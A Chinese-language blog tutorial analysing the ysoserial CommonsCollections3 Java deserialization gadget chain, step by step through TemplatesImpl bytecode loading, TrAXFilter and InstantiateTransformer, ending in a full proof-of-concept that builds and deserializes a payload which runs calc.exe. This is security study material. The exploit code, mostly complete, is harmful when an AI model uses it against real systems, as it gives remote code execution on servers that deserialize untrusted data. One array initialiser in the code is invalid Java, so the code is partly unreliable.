Java安全 ysoserial CommonsCollections3示例分析

更新時(shí)間：2022年10月29日 09:20:14 作者：功夫小熊貓

這篇文章主要為大家介紹了Java安全 ysoserial CommonsCollections3示例分析，有需要的朋友可以借鑒參考下，希望能夠有所幫助，祝大家多多進(jìn)步，早日升職加薪

cc3利用鏈如下：

TrAXFilter(Templates templates)
    TemplatesImpl-&gt;newTransformer()
        TemplatesImpl-&gt;getTransletInstance()
            _class[_transletIndex].newInstance();

一、為構(gòu)造的惡意字節(jié)碼文件找一個(gè)newInstance啟動(dòng)入口

在TemplatesImpl類中的getTransletInstance方法，對(duì) _class[_transletIndex]實(shí)現(xiàn)了newInstance()。

所以如果構(gòu)造一個(gè)惡意類，然后通過(guò)類加載器加載，最終通過(guò)TemplatesImpl實(shí)現(xiàn)這個(gè)類的實(shí)例化，將實(shí)現(xiàn)這個(gè)惡意類的初始化執(zhí)行。

假設(shè)將惡意代碼寫入這個(gè)類的靜態(tài)代碼塊中，在這個(gè)類被實(shí)例化的時(shí)候得到執(zhí)行，以Runtime為例。

構(gòu)造惡意類：

public class Runtimecalc {
    {
        Runtime runtime = Runtime.getRuntime();
        try {
            runtime.exec("calc.exe");
        } catch (IOException e) {
            e.printStackTrace();
        }
    }
}

又由于TemplatesImpl類中，getTransletInstance方法屬于私有方法，所以需要依賴另一個(gè)方法。其中該類的newTransformer()調(diào)用了getTransletInstance()，該方法public作用域，可以被外部調(diào)用執(zhí)行。

public synchronized Transformer newTransformer()
        throws TransformerConfigurationException
    {
        TransformerImpl transformer;
        transformer = new TransformerImpl(getTransletInstance(), _outputProperties,
            _indentNumber, _tfactory);
        if (_uriResolver != null) {
            transformer.setURIResolver(_uriResolver);
        }
        if (_tfactory.getFeature(XMLConstants.FEATURE_SECURE_PROCESSING)) {
            transformer.setSecureProcessing(true);
        }
        return transformer;
    }

通過(guò)反射給_class和_transletIndex賦值。但是在賦值之前，我們看到getTransletInstance方法對(duì)_name也做了判斷if (_name == null) return null;，要求不能為空才可以繼續(xù)執(zhí)行后面代碼，所以還需要通過(guò)反射給_name賦值。

另外需要注意的是由于這里做了一個(gè)強(qiáng)轉(zhuǎn)(AbstractTranslet)_class[_transletIndex].newInstance();

加載的字節(jié)碼類需要繼承AbstractTranslet

private Translet getTransletInstance()
        throws TransformerConfigurationException {
        try {
            if (_name == null) return null;
            if (_class == null) defineTransletClasses();
            // The translet needs to keep a reference to all its auxiliary
            // class to prevent the GC from collecting them
            AbstractTranslet translet = (AbstractTranslet) _class[_transletIndex].newInstance();
            translet.postInitialization();
            translet.setTemplates(this);
            translet.setServicesMechnism(_useServicesMechanism);
            translet.setAllowedProtocols(_accessExternalStylesheet);
            if (_auxClasses != null) {
                translet.setAuxiliaryClasses(_auxClasses);
            }
            return translet;
        }
        catch (InstantiationException e) {
            ErrorMsg err = new ErrorMsg(ErrorMsg.TRANSLET_OBJECT_ERR, _name);
            throw new TransformerConfigurationException(err.toString());
        }
        catch (IllegalAccessException e) {
            ErrorMsg err = new ErrorMsg(ErrorMsg.TRANSLET_OBJECT_ERR, _name);
            throw new TransformerConfigurationException(err.toString());
        }
    }

那么假設(shè)我們通過(guò)反射，直接為_(kāi)class賦值為一個(gè)惡意字節(jié)碼文件的文件路徑。

然后通過(guò)調(diào)newTransformer方法實(shí)現(xiàn)，就能得到字節(jié)碼文件的初始化執(zhí)行。

TemplatesImpl templates = new TemplatesImpl();
Class templates_cl= Class.forName("com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl");
Field name = templates_cl.getDeclaredField("_name");
name.setAccessible(true);
name.set(templates,"xxx");
Field aClass = templates_cl.getDeclaredField("_class");
aClass.setAccessible(true);
aClass.set(templates,new Class[]{Runtimecalc.class});
Field transletIndex = templates_cl.getDeclaredField("_transletIndex");
transletIndex.setAccessible(true);
transletIndex.set(templates,0);
templates.newTransformer();

二、將字節(jié)碼內(nèi)容直接賦值序列化

字節(jié)碼文件路徑是無(wú)法在目標(biāo)機(jī)器得到執(zhí)行的，所以需要找到其他方法將字節(jié)碼內(nèi)容直接賦值序列化

Runtimecalc.class作為類文件賦值，是無(wú)法實(shí)現(xiàn)序列化的時(shí)候?qū)⑽募?nèi)容直接傳入的，這里賦值的只是文件路徑。

所以序列化和反序列化是不成功的。

我們知道ClassLoader在加載的類的時(shí)候，最終是通過(guò)defineClass加載字節(jié)碼文件內(nèi)容。

利用這種方式，直接的賦值傳參內(nèi)容是字節(jié)碼，就可以達(dá)到惡意類加載的序列化和反序列化。

Templateslmpl類中g(shù)etTransletInstance方法中，在_class[_transletIndex].newInstance()執(zhí)行前，還有一段如下代碼

if (_class == null) defineTransletClasses()

假設(shè)我們之前不對(duì)_class賦值，查看defineTransletClasses做了什么。

private void defineTransletClasses()
        throws TransformerConfigurationException {
    	//需要給_bytecodes賦值
        if (_bytecodes == null) {
            ErrorMsg err = new ErrorMsg(ErrorMsg.NO_TRANSLET_CLASS_ERR);
            throw new TransformerConfigurationException(err.toString());
        }
    	TransletClassLoader loader = (TransletClassLoader)
            AccessController.doPrivileged(new PrivilegedAction() {
                public Object run() {
                    return new TransletClassLoader(ObjectFactory.findClassLoader(),_tfactory.getExternalExtensionsMap());
                }
            });
        try {
            final int classCount = _bytecodes.length;
            //為_(kāi)class賦值，長(zhǎng)度為_(kāi)bytecodes的長(zhǎng)度
            _class = new Class[classCount];
            if (classCount &gt; 1) {
                _auxClasses = new HashMap&lt;&gt;();
            }
            for (int i = 0; i &lt; classCount; i++) {
                //_bytecodes[0]賦值為字節(jié)碼內(nèi)容賦值給_class[0]
                _class[i] = loader.defineClass(_bytecodes[i]);
                final Class superClass = _class[i].getSuperclass();
                // Check if this is the main class
                if (superClass.getName().equals(ABSTRACT_TRANSLET)) {
                    _transletIndex = i;
                }
                else {
                    _auxClasses.put(_class[i].getName(), _class[i]);
                }
            }
        }
    }

private byte[][] _bytecodes = null;

_bytecodes是一個(gè)byte二維數(shù)組，我們將byte[]類型的字節(jié)碼賦值給_bytecodes[0]

這里就直接賦值字節(jié)碼內(nèi)容了

byte[] code = Files.readAllBytes(Paths.get("D:\\workspace\\javaee\\cc1\\target\\classes\\com\\cc3\\Runtimecalc.class"));

這樣在defineTransletClasses被調(diào)用的時(shí)候

執(zhí)行_class[i] = loader.defineClass(_bytecodes[i]);

_class[0]將會(huì)被賦值為loader.defineClass(code)

由于_tfactory需要調(diào)用，所以給_tfactory也賦值

最終實(shí)現(xiàn)代碼如下：

TemplatesImpl templates = new TemplatesImpl();
Class templates_cl= Class.forName("com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl");
Field name = templates_cl.getDeclaredField("_name");
name.setAccessible(true);
name.set(templates,"xxx");
//注釋不給_class賦值，滿足_class == null，defineTransletClasses得到調(diào)用
//Field aClass = templates_cl.getDeclaredField("_class");
//aClass.setAccessible(true);
//aClass.set(templates,new Class[]{Runtimecalc.class});
Field transletIndex = templates_cl.getDeclaredField("_transletIndex");
transletIndex.setAccessible(true);
transletIndex.set(templates,0);
//加載字節(jié)碼
byte[] code = Files.readAllBytes(Paths.get("D:\\workspace\\javaee\\cc1\\target\\classes\\com\\cc3\\Runtimecalc.class"));
byte[][] codes = [code];
//給_bytecodes賦值
Field bytecodes = templates_cl.getDeclaredField("_bytecodes");
bytecodes.setAccessible(true);
bytecodes.set(templates,codes);
//要順利執(zhí)行，_tfactory得賦值，因?yàn)閐efineTransletClasses中調(diào)用了_tfactory的getExternalExtensionsMap
//_tfactorys是TransformerFactoryImpl類型的
TransformerFactoryImpl transformerFactory = new TransformerFactoryImpl();
Field tfactory = templates_cl.getDeclaredField("_tfactory");
tfactory.setAccessible(true);
tfactory.set(templates,transformerFactory);
templates.newTransformer();

三、讓newTransformer得到執(zhí)行

TrAXFilter類的構(gòu)造方法會(huì)調(diào)用newTransformer

public TrAXFilter(Templates templates)  throws
    TransformerConfigurationException
{
    _templates = templates;
    _transformer = (TransformerImpl) templates.newTransformer();
    _transformerHandler = new TransformerHandlerImpl(_transformer);
    _useServicesMechanism = _transformer.useServicesMechnism();
}

TrAXFilter trAXFilter = new TrAXFilter(templates);

但是TrAXFilter并不實(shí)現(xiàn)Serializable接口，無(wú)法序列化，需要通過(guò)反射調(diào)用

在cc1中反射執(zhí)行最終是通過(guò)InvokerTransformer的transform來(lái)實(shí)現(xiàn)

這里用了InstantiateTransformer的transform

InstantiateTransformer instantiateTransformer = new InstantiateTransformer(new Class[]{Templates.class}, new Object[]{templates});
instantiateTransformer.transform(TrAXFilter.class);

剩下的就和cc1一樣了

public class CC3Test3 {
    public static void main(String[] args) throws Exception {
        TemplatesImpl templates = new TemplatesImpl();
        Class templates_cl= Class.forName("com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl");
        Field name = templates_cl.getDeclaredField("_name");
        name.setAccessible(true);
        name.set(templates,"xxx");
        Field transletIndex = templates_cl.getDeclaredField("_transletIndex");
        transletIndex.setAccessible(true);
        transletIndex.set(templates,0);
        byte[] code = Files.readAllBytes(Paths.get("D:\\workspace\\javaee\\cc1\\target\\classes\\com\\cc3\\Runtimecalc.class"));
        byte[][] codes = [code];
        //給_bytecodes賦值
        Field bytecodes = templates_cl.getDeclaredField("_bytecodes");
        bytecodes.setAccessible(true);
        bytecodes.set(templates,codes);
        //要順利執(zhí)行，_tfactory得賦值，因?yàn)閐efineTransletClasses中調(diào)用了_tfactory的getExternalExtensionsMap
        //_tfactorys是TransformerFactoryImpl類型的
        TransformerFactoryImpl transformerFactory = new TransformerFactoryImpl();
        Field tfactory = templates_cl.getDeclaredField("_tfactory");
        tfactory.setAccessible(true);
        tfactory.set(templates,transformerFactory);
        InstantiateTransformer instantiateTransformer = new InstantiateTransformer(new Class[]{Templates.class}, new Object[]{templates});
        Transformer[] transformerslist = {
                new ConstantTransformer(TrAXFilter.class),
                instantiateTransformer,
        };
        ChainedTransformer chainedTransformerruntime = new ChainedTransformer(transformerslist);
        HashMap hashMap1 = new HashMap();
        LazyMap lazyMap = (LazyMap) LazyMap.decorate(hashMap1,chainedTransformerruntime);
        Class c = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
        Constructor declaredConstructor = c.getDeclaredConstructor(Class.class, Map.class);
        declaredConstructor.setAccessible(true);
        InvocationHandler handler = (InvocationHandler) declaredConstructor.newInstance(Retention.class, lazyMap);
        Map proxyMap = (Map) Proxy.newProxyInstance(Map.class.getClassLoader(), new Class[]{Map.class}, handler);
        InvocationHandler handle = (InvocationHandler) declaredConstructor.newInstance(Retention.class, proxyMap);
        ObjectOutputStream objectOutputStream = new ObjectOutputStream(new FileOutputStream("D:\\cc3.ser"));
        objectOutputStream.writeObject(handle);
        ObjectInputStream objectInputStream = new ObjectInputStream(new FileInputStream("D:\\cc3.ser"));
        objectInputStream.readObject();
    }
}